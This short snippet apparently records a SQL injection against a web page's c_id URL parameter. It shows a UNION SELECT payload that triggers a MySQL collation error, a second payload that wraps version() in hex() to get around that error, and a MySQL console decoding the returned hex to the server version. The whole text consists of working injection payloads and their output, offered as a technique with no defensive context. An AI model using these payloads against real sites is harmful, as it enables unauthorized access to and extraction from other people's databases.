url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*

Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

MySQL Error No. 126

url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*

342E312E332D62657461

mysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
+------------------------+
| 4.1.3-beta |
+------------------------+
1 row in set (0.00 sec)